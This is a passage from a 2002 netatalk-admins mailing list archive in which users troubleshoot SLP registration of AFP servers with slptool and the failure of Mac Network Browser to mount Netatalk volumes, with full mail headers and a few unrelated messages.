BTW: If you are trying this as root, it will always fail.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Sat Feb  2 09:10:14 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA26899
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 2 Feb 2002 09:10:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA01736
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 2 Feb 2002 09:10:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA01731
	for netatalk.administrators-members@umich.edu; Sat, 2 Feb 2002 09:10:14 -0500 (EST)
Received: from carbon.btinternet.com (carbon.btinternet.com [194.73.73.92])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA01719
	for <netatalk-admins@umich.edu>; Sat, 2 Feb 2002 09:10:13 -0500 (EST)
Received: from host213-122-66-250.dial.btopenworld.com ([213.122.66.250] helo=nexus.local.net)
	by carbon.btinternet.com with esmtp (Exim 3.22 #8)
	id 16X0rm-00012h-00; Sat, 02 Feb 2002 14:10:07 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id NAA09241;
	Sat, 2 Feb 2002 13:19:03 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100323b881954e8792@[10.0.1.10]>
In-Reply-To: <B88070BA.1A71D%Thomas.Kaiser@phg-online.de>
References: <B88070BA.1A71D%Thomas.Kaiser@phg-online.de>
X-Mailer: Eudora for Macintosh!
Date: Sat, 2 Feb 2002 13:18:59 +0000
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>,
        Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: SLP registration (was: Re: Aliases (sorry) and passwords)
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 4:20 pm +0100 1/2/02, Thomas Kaiser wrote:
>Even in this case you can use a static entry like:
>
>slptool register "afp://[your server's ip address]/?NAME=[name of server]"
>
>If I run a 'slptool dumpall' then I get for example:
>
>     afp://192.168.71.1/?NAME=datenschleuder,96


Can you enlighten me what the 'dumpall' command is? I can't find any 
suitable command to show everything.

Why use the '/?', the docs don't indicate this.

I have added an afp entry in my /etc/slp.reg file and I can display 
it with an 'slptool findsrvs' command, but Network Browser still 
cannot find it. Does the above show in Network Browser for you?

BTW, is it necessary to use the IP address, or is the domain name 
(resolvable to the address by the DNS) sufficient.

I'm looking into recompiling Netatalk to sort out its slp problem, 
but in the meantime I'd like to figure why it's not working with the 
static registration.

Any ideas?

Thanks.
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Sat Feb  2 11:07:17 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA02128
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 2 Feb 2002 11:07:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA01480
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 2 Feb 2002 11:07:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA01469
	for netatalk.administrators-members@umich.edu; Sat, 2 Feb 2002 11:07:17 -0500 (EST)
Received: from mail.network-analysis.ltd.uk (mail.network-analysis.ltd.uk [212.135.212.98])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA01448
	for <netatalk-admins@umich.edu>; Sat, 2 Feb 2002 11:07:15 -0500 (EST)
Received: by mail.network-analysis.ltd.uk (sendmail 8.11.6)
          with ESMTP id g12G74x22983;
          Sat, 2 Feb 2002 16:07:04 GMT
Mime-Version: 1.0
X-Sender: sw@mail.network-analysis.ltd.uk
Message-Id: <p05100300b881bad94f7d@[192.168.201.58]>
In-Reply-To: <B88084D9.1A74B%Thomas.Kaiser@phg-online.de>
References: <B88084D9.1A74B%Thomas.Kaiser@phg-online.de>
X-Mailer: Eudora Pro
Organization: Network Analysis Ltd
Date: Sat, 2 Feb 2002 16:07:01 +0000
To: netatalk-admins@umich.edu
From: Sak Wathanasin <sw@network-analysis.ltd.uk>
Subject: Re: SLP registration
Content-Type: text/plain; charset=iso-2022-jp
Content-Transfer-Encoding: 7bit

In reply to Thomas Kaiser's message of the 01/02/2002 at 17:46 +0100,


>IIRC, you must enable guest login on the server for this feature (getting
>the volume list -- part of afp communication not slp). In netatalk 1.5 that
>means adding uams_guest.so to the uamslist. Otherwise you have to
>authenticate before you are able to fetch the volume list.

That makes sense. I can see the netatalk servers now. In OS9 if I 
have saved my passwords in my keychain, it seems to be able to 
authenticate to the serevr even if I don't have "guest" enabled, but 
not with OSX.

Thanks
-- 
Sak Wathanasin
Network Analysis Limited

Internet: sw@network-analysis.ltd.uk
Phone: (+44) 24 76 41 99 96        Mobile: (+44) 79 70 75 19 12 
Fax: (+44) 24 76 69 06 90

From netatalk.administrators-errors@umich.edu  Sat Feb  2 13:25:51 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA06925
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 2 Feb 2002 13:25:50 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA21151
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 2 Feb 2002 13:25:50 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA21134
	for netatalk.administrators-members@umich.edu; Sat, 2 Feb 2002 13:25:50 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA21107
	for <netatalk-admins@umich.edu>; Sat, 2 Feb 2002 13:25:48 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id TAA12827;
	Sat, 2 Feb 2002 19:52:05 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Sat, 02 Feb 2002 19:25:47 +0100
Subject: Re: SLP registration
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Ken Gillett <keng@BTInternet.com>,
        Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B881EDBA.1AB3B%Thomas.Kaiser@phg-online.de>
In-Reply-To: <p05100323b881954e8792@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Sat, 2 Feb 2002 13:18:59 +0000, Ken Gillett wrote:

> At 4:20 pm +0100 1/2/02, Thomas Kaiser wrote:
>> Even in this case you can use a static entry like:
>> 
>> slptool register "afp://[your server's ip address]/?NAME=[name of server]"
>> 
>> If I run a 'slptool dumpall' then I get for example:
>> 
>> afp://192.168.71.1/?NAME=datenschleuder,96
> 
> 
> Can you enlighten me what the 'dumpall' command is? I can't find any
> suitable command to show everything.

Maybe I made a little mistake. I'm using the slp stuff provided by my Helios
EtherShare installation. They say, it is based on OpenSLP, so I thought, the
commands are the same.

> Why use the '/?', the docs don't indicate this.

You mean '?NAME=datenschleuder'? If you don't supply a name, then only the
IP address will be displayed to slp clients (like the network browser)

> I have added an afp entry in my /etc/slp.reg file and I can display
> it with an 'slptool findsrvs' command, but Network Browser still
> cannot find it. Does the above show in Network Browser for you?

Yes, it does.

> BTW, is it necessary to use the IP address, or is the domain name
> (resolvable to the address by the DNS) sufficient.

Just a moment...

    slptool register "afp://barricade.kaiser.link-m.de/?NAME=barricade"

... the server appears as 'barricade'

Basically the idea should be that a slp client looks for registered services
and displays there names. If you click on such an entry, the AFP URL should
be passed to the afp client. With MacOS X (10.1.2) this works even if you
supply a FQDN, with MacOS 9.1 it does not (but I can mount the server when
entering the FQDN in the 'server ip address' field in chooser). Looks like
network browser in classic MacOS isn't supporting DNS lookups...

I'm not familiar with the original OpenSLP installation, as I'm using
actually only the Helios' implementation (I'm a lazy one ;-). Maybe you want
to try it this way? If you have one Mac with MOSX 10.1, you can simply
install Helios on your machine, to look how 'easy life could be' ;-)

It's just a 20 mbyte download and 1 minute of installation (+29 minutes
reading the docs ;-) --> <http://www.helios.de/news/news02/N_02_02.html>)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Sun Feb  3 05:20:12 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA15707
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 3 Feb 2002 05:20:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA22887
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 3 Feb 2002 05:20:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA22885
	for netatalk.administrators-members@umich.edu; Sun, 3 Feb 2002 05:20:11 -0500 (EST)
Received: from protactinium.btinternet.com (protactinium.btinternet.com [194.73.73.176])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA22875
	for <netatalk-admins@umich.edu>; Sun, 3 Feb 2002 05:20:10 -0500 (EST)
Received: from host213-122-149-4.dial.btopenworld.com ([213.122.149.4] helo=nexus.local.net)
	by protactinium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16XJkn-0002RB-00; Sun, 03 Feb 2002 10:20:09 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id KAA13333;
	Sun, 3 Feb 2002 10:06:13 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p0510032cb882b6cc9b84@[10.0.1.10]>
In-Reply-To: <B881EDBA.1AB3B%Thomas.Kaiser@phg-online.de>
References: <B881EDBA.1AB3B%Thomas.Kaiser@phg-online.de>
X-Mailer: Eudora for Macintosh!
Date: Sun, 3 Feb 2002 10:06:09 +0000
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>,
        Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: SLP registration
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 7:25 pm +0100 2/2/02, Thomas Kaiser wrote:
>>  Why use the '/?', the docs don't indicate this.
>
>You mean '?NAME=datenschleuder'? If you don't supply a name, then only the
>IP address will be displayed to slp clients (like the network browser)


I was (am still) puzzled about the syntax of this. My SLP docs show 
attributes (like name) being entered in a different way (on a 
following line), yet Apple uses this ?NAME technique, but only for 
afp and http. An ftp service cannot use this as it gets treated like 
a folder name and the address part (or domainname) is what appears as 
the name in the Network Browser.

It all seems very inconsistent, but I have now got afp, ftp and http 
services listed in the Network Browser. My problem was entering 
'service:' in front of the afp as the docs indicate you should, but 
it screws it up for Apple's browsing. I spent some time with tcpdump 
looking at the what was being sent up and down the wire before I 
figured that one out. Of course, if I'd taken your instructions 
literally I wouldn't have had the problem, but I just thought you'd 
omitted that part. Anyway, I know a lot more now than if I hadn't had 
to find out.


>>  BTW, is it necessary to use the IP address, or is the domain name
>>  (resolvable to the address by the DNS) sufficient.
>
>Just a moment...
>
>     slptool register "afp://barricade.kaiser.link-m.de/?NAME=barricade"
>
>... the server appears as 'barricade'
>
>Basically the idea should be that a slp client looks for registered services
>and displays there names. If you click on such an entry, the AFP URL should
>be passed to the afp client. With MacOS X (10.1.2) this works even if you
>supply a FQDN, with MacOS 9.1 it does not (but I can mount the server when
>entering the FQDN in the 'server ip address' field in chooser). Looks like
>network browser in classic MacOS isn't supporting DNS lookups...


I find that the domainname is sufficient (not even FQDN, just the 
hostname, but I have resolution set to add the domain part), but for 
some reason I cannot mount the volumes from the Network Browser. The 
ftp service works perfectly and when I select the Netatalk server it 
opens to show the 2 available volumes, but I cannot mount either of 
them. I double click, or try to 'Make alias' and it does nothing. 
However, I *can* mount the Netatalk volumes from the Chooser and 
another MacOS9 machine with file sharing on is also shown in the NB 
and the available volume mounts perfectly.

Why would the NB have problems mounting the Netatalk volumes? It 
obviously can connect to the server as it shows the volumes 
available, but why can't it mount them? Once it has the volume name 
to mount, is SLP involved at all?

Curiouser and curiouser.
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Sun Feb  3 06:58:36 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA18690
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 3 Feb 2002 06:58:36 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA12304
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 3 Feb 2002 06:58:36 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA12297
	for netatalk.administrators-members@umich.edu; Sun, 3 Feb 2002 06:58:36 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA12278
	for <netatalk-admins@umich.edu>; Sun, 3 Feb 2002 06:58:34 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id NAA28684;
	Sun, 3 Feb 2002 13:24:53 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Sun, 03 Feb 2002 12:58:34 +0100
Subject: Re: SLP registration
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Ken Gillett <keng@BTInternet.com>,
        Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B882E479.1AC10%Thomas.Kaiser@phg-online.de>
In-Reply-To: <p0510032cb882b6cc9b84@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Sun, 3 Feb 2002 10:06:09 +0000, Ken Gillett wrote:

> My problem was entering 'service:' in front of the afp as the docs indicate
> you should, but it screws it up for Apple's browsing.

RFC 2068 <http://www.faqs.org/rfcs/rfc2608.html>:

| 4. URLs used with Service Location
| 
|    A Service URL indicates the location of a service.  This URL may be
|    of the service: scheme [13] (reviewed in section 4.1), or any other
|    URL scheme conforming to the URI standard [8], except that URLs
|    without address specifications SHOULD NOT be advertised by SLP. The
|    service type for an 'generic' URL is its scheme name.  For example,
|    the service type string for "http://www.srvloc.org" would be "http".

Maybe just a compatibility issue between SLPv1 and v2?

>> [...] With MacOS X (10.1.2) this works even if you supply a FQDN, with MacOS
>> 9.1 it does not (but I can mount the server when entering the FQDN in the
>> 'server ip address' field in chooser). Looks like network browser in classic
>> MacOS isn't supporting DNS lookups...
> 
> 
> I find that the domainname is sufficient (not even FQDN, just the
> hostname, but I have resolution set to add the domain part), but for
> some reason I cannot mount the volumes from the Network Browser.

Hmm... very confusing this whole stuff ;-) Seems like Network Browser
sometimes looks at the AFP URL attribute and sometimes only on the NAME
attribute...

Let's say I register a remote afp server, like the one from OpenDoors:

slptool register "afp://208.1.80.221/?NAME=just%20a%20public%20afp%20server"

This entry will be shown as "just a public afp server" in Network Browser
and if you click on it, you will be prompted to authenticate against this
server (connecting as guest will work in this case).

But if I try 'slptool register "afp://afp.opendoor.com/?NAME=same%20server"'
then I won't be able to access the server's volumes. I believed, Network
Browser does no name lookups itself, as it treats the process of name
resolving as a part of service location. With MacOS X this has changed and
the DNS Resolver will be invoked before trying to do afp conversation with
the server...

As you said, you just supply the hostname, I tried it out and realized
another strange symptom:

Say, I register "afp://a.wrong.hostname/?NAME=barricade.kaiser.link-m.de"
then the first part (the AFP URL) is irrelevant and the second part will be
treated as the hostname and will be resolved successfully.

MacOS X is different as it always differentiates between the NAME attribute
and the afp URL itself...

> The ftp service works perfectly and when I select the Netatalk server it opens
> to show the 2 available volumes, but I cannot mount either of them.

This is strange... For me it works if the first part is something different
than an ip address and the second part (the NAME attribute) is resolvable.

> I double click, or try to 'Make alias' and it does nothing.
> However, I *can* mount the Netatalk volumes from the Chooser and
> another MacOS9 machine with file sharing on is also shown in the NB
> and the available volume mounts perfectly.

Do you mount via AppleTalk or TCP?

> Why would the NB have problems mounting the Netatalk volumes? It
> obviously can connect to the server as it shows the volumes
> available, but why can't it mount them? Once it has the volume name
> to mount, is SLP involved at all?

I believe an afp session is established to fetch the volume list from the
server. At this point, this has nothing to do with slp as it is plain afp
conversation. So I'm puzzled, why mounting the volumes won't work
afterwards...

Regards,

Thomas

PS: Finally I tried to supply an illegal ip address and an illegal FQDN and
    now I'm completely puzzled:
    "afp://256.256.256.256/?NAME=barricade.kaiser.link-m.develey"
    After 1 minute Network Browser establishes a connection to
    "barricade.kaiser.link-m.de" =8-|


From netatalk.administrators-errors@umich.edu  Sun Feb  3 18:30:24 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA13442
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 3 Feb 2002 18:30:24 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA21477
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 3 Feb 2002 18:30:24 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA21469
	for netatalk.administrators-members@umich.edu; Sun, 3 Feb 2002 18:30:24 -0500 (EST)
Received: from rhenium (rhenium.btinternet.com [194.73.73.93])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA21446
	for <netatalk-admins@umich.edu>; Sun, 3 Feb 2002 18:30:23 -0500 (EST)
Received: from host213-122-19-59.dial.btopenworld.com ([213.122.19.59] helo=nexus.local.net)
	by rhenium with esmtp (Exim 3.22 #8)
	id 16XW5V-0003ky-00; Sun, 03 Feb 2002 23:30:21 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id WAA15271;
	Sun, 3 Feb 2002 22:54:28 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p0510032fb883674b1514@[10.0.1.10]>
In-Reply-To: <B882E479.1AC10%Thomas.Kaiser@phg-online.de>
References: <B882E479.1AC10%Thomas.Kaiser@phg-online.de>
X-Mailer: Eudora for Macintosh!
Date: Sun, 3 Feb 2002 22:54:27 +0000
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>,
        Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: SLP registration
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:58 pm +0100 3/2/02, Thomas Kaiser wrote:
>>  My problem was entering 'service:' in front of the afp as the docs indicate
>>  you should, but it screws it up for Apple's browsing.
>
>RFC 2068 <http://www.faqs.org/rfcs/rfc2608.html>:


Heavy going.


>Maybe just a compatibility issue between SLPv1 and v2?


I wonder.


>PS: Finally I tried to supply an illegal ip address and an illegal FQDN and
>     now I'm completely puzzled:
>     "afp://256.256.256.256/?NAME=barricade.kaiser.link-m.develey"
>     After 1 minute Network Browser establishes a connection to


It's all a bit of a maze really. I've tried all combinations and 
whatever I do it will not mount.

I've been watching tcpdump on port 427 when I try and mount the 
volumes, but there's no traffic, so the mounting seems to be 
independent of slp.

I just tried mounting via Network Browser without slpd running. I had 
to enter the hostname to connect and the volumes were listed 
immediately, but again they do NOT mount. So it's a Netatalk problem 
and nothing to do with SLP.

So, what's up with Netatalk that causes mounting via Network Browser 
to fail when it works via the Chooser?
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Sun Feb  3 19:42:55 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA16132
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 3 Feb 2002 19:42:54 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA28402
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 3 Feb 2002 19:42:54 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA28390
	for netatalk.administrators-members@umich.edu; Sun, 3 Feb 2002 19:42:54 -0500 (EST)
Received: from panic.itsc.cuhk.edu.hk (panic.itsc.cuhk.edu.hk [137.189.8.136])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA28339
	for <netatalk-admins@umich.edu>; Sun, 3 Feb 2002 19:42:52 -0500 (EST)
Received: from panic.itsc.cuhk.edu.hk (root@localhost [127.0.0.1])
	by panic.itsc.cuhk.edu.hk (8.9.3/8.9.3) with ESMTP id IAA11024
	for <netatalk-admins@umich.edu>; Mon, 4 Feb 2002 08:42:50 +0800 (HKT)
Received: from david2k.cuhk.edu.hk (david2k.arch.cuhk.edu.hk [137.189.152.108])
	by panic.itsc.cuhk.edu.hk (8.9.3/8.9.3) with ESMTP id IAA11013
	for <netatalk-admins@umich.edu>; Mon, 4 Feb 2002 08:42:49 +0800 (HKT)
Message-Id: <5.0.2.1.0.20020204084520.01c39a58@mailserv.cuhk.edu.hk>
X-Sender: b665750@mailserv.cuhk.edu.hk
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Mon, 04 Feb 2002 08:45:46 +0800
To: netatalk-admins@umich.edu
From: david leung <leungdavid@cuhk.edu.hk>
Subject: unsubscribe
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed




From netatalk.administrators-errors@umich.edu  Sun Feb  3 19:52:30 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA16528
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 3 Feb 2002 19:52:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA24063
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 3 Feb 2002 19:52:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA24053
	for netatalk.administrators-members@umich.edu; Sun, 3 Feb 2002 19:52:29 -0500 (EST)
Received: from panic.itsc.cuhk.edu.hk (panic.itsc.cuhk.edu.hk [137.189.8.136])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA24017
	for <netatalk-admins@umich.edu>; Sun, 3 Feb 2002 19:52:27 -0500 (EST)
Received: from panic.itsc.cuhk.edu.hk (root@localhost [127.0.0.1])
	by panic.itsc.cuhk.edu.hk (8.9.3/8.9.3) with ESMTP id IAA12192
	for <netatalk-admins@umich.edu>; Mon, 4 Feb 2002 08:52:26 +0800 (HKT)
Received: from david2k.cuhk.edu.hk (david2k.arch.cuhk.edu.hk [137.189.152.108])
	by panic.itsc.cuhk.edu.hk (8.9.3/8.9.3) with ESMTP id IAA12186
	for <netatalk-admins@umich.edu>; Mon, 4 Feb 2002 08:52:25 +0800 (HKT)
Message-Id: <5.0.2.1.0.20020204085459.01c89d28@mailserv.cuhk.edu.hk>
X-Sender: b665750@mailserv.cuhk.edu.hk
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Mon, 04 Feb 2002 08:55:22 +0800
To: netatalk-admins@umich.edu
From: david leung <leungdavid@cuhk.edu.hk>
Subject: unsubscribe
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed




___
David Leung                             Office:(852) 2609 6595
Architecture Department,                Fax:   (852) 2603 5267
Chinese University of Hong Kong E-Mail:leungdavid@cuhk.edu.hk


From netatalk.administrators-errors@umich.edu  Mon Feb  4 04:43:19 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA07830
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Feb 2002 04:43:19 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA06384
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Feb 2002 04:43:19 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA06372
	for netatalk.administrators-members@umich.edu; Mon, 4 Feb 2002 04:43:18 -0500 (EST)
Received: from news.dmv-franzis.de (poing.dmv-franzis.de [212.14.72.178])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id EAA06342
	for <netatalk-admins@umich.edu>; Mon, 4 Feb 2002 04:43:17 -0500 (EST)
Received: from SMTP01 by news.dmv-franzis.de
          via smtpd (for easycomeeasygo.mr.itd.umich.edu [141.211.14.26]) with SMTP; 4 Feb 2002 09:43:33 UT
Received: from [172.29.11.3] [172.29.11.3]
	by mail.cmp-weka.de [172.29.1.6]
	with SMTP (MDaemon.PRO.v5.0.4.R)
	for <netatalk-admins@umich.edu>; Mon, 04 Feb 2002 10:43:19 +0100
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Mon, 04 Feb 2002 10:38:34 +0100
Subject: Re: SLP registration
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B884152A.2DE15%ts@visual-s.de>
In-Reply-To: <p0510032fb883674b1514@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-MDRemoteIP: 172.29.11.3
X-Return-Path: ts@visual-s.de
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

On 2002-02-03 23:54 +0100, Ken Gillett <keng@BTInternet.com> wrote:

> I just tried mounting via Network Browser without slpd running. I had
> to enter the hostname to connect and the volumes were listed
> immediately, but again they do NOT mount. So it's a Netatalk problem
> and nothing to do with SLP.
> 
> So, what's up with Netatalk that causes mounting via Network Browser
> to fail when it works via the Chooser?

Ken, trash the whole Open Transport Preferences folder and try
again ... I had to do so very often when for example I had created
new volumes at the Netatalk Server.

HTH,
-Thomas

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Mon Feb  4 06:09:06 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA10691
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Feb 2002 06:09:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA12661
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Feb 2002 06:09:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA12652
	for netatalk.administrators-members@umich.edu; Mon, 4 Feb 2002 06:09:05 -0500 (EST)
Received: from dom01.etv.no (mail.eltelevest.com [213.188.28.42])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA12629
	for <netatalk-admins@umich.edu>; Mon, 4 Feb 2002 06:09:03 -0500 (EST)
From: Per.Erik.Nordbo@etv.no
Subject: Problem with Write Only Directory ... 
To: netatalk-admins@umich.edu
X-Mailer: Lotus Notes Release 5.07a  May 14, 2001
Message-ID: <OFB3F302EB.DAD1D7A5-ONC1256B56.002F0107@etv.no>
Date: Mon, 4 Feb 2002 12:02:28 +0100
X-MIMETrack: Serialize by Router on dom01/Moldenett(Release 5.07a |May 14, 2001) at 02/04/2002
 12:02:51 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

Hi!
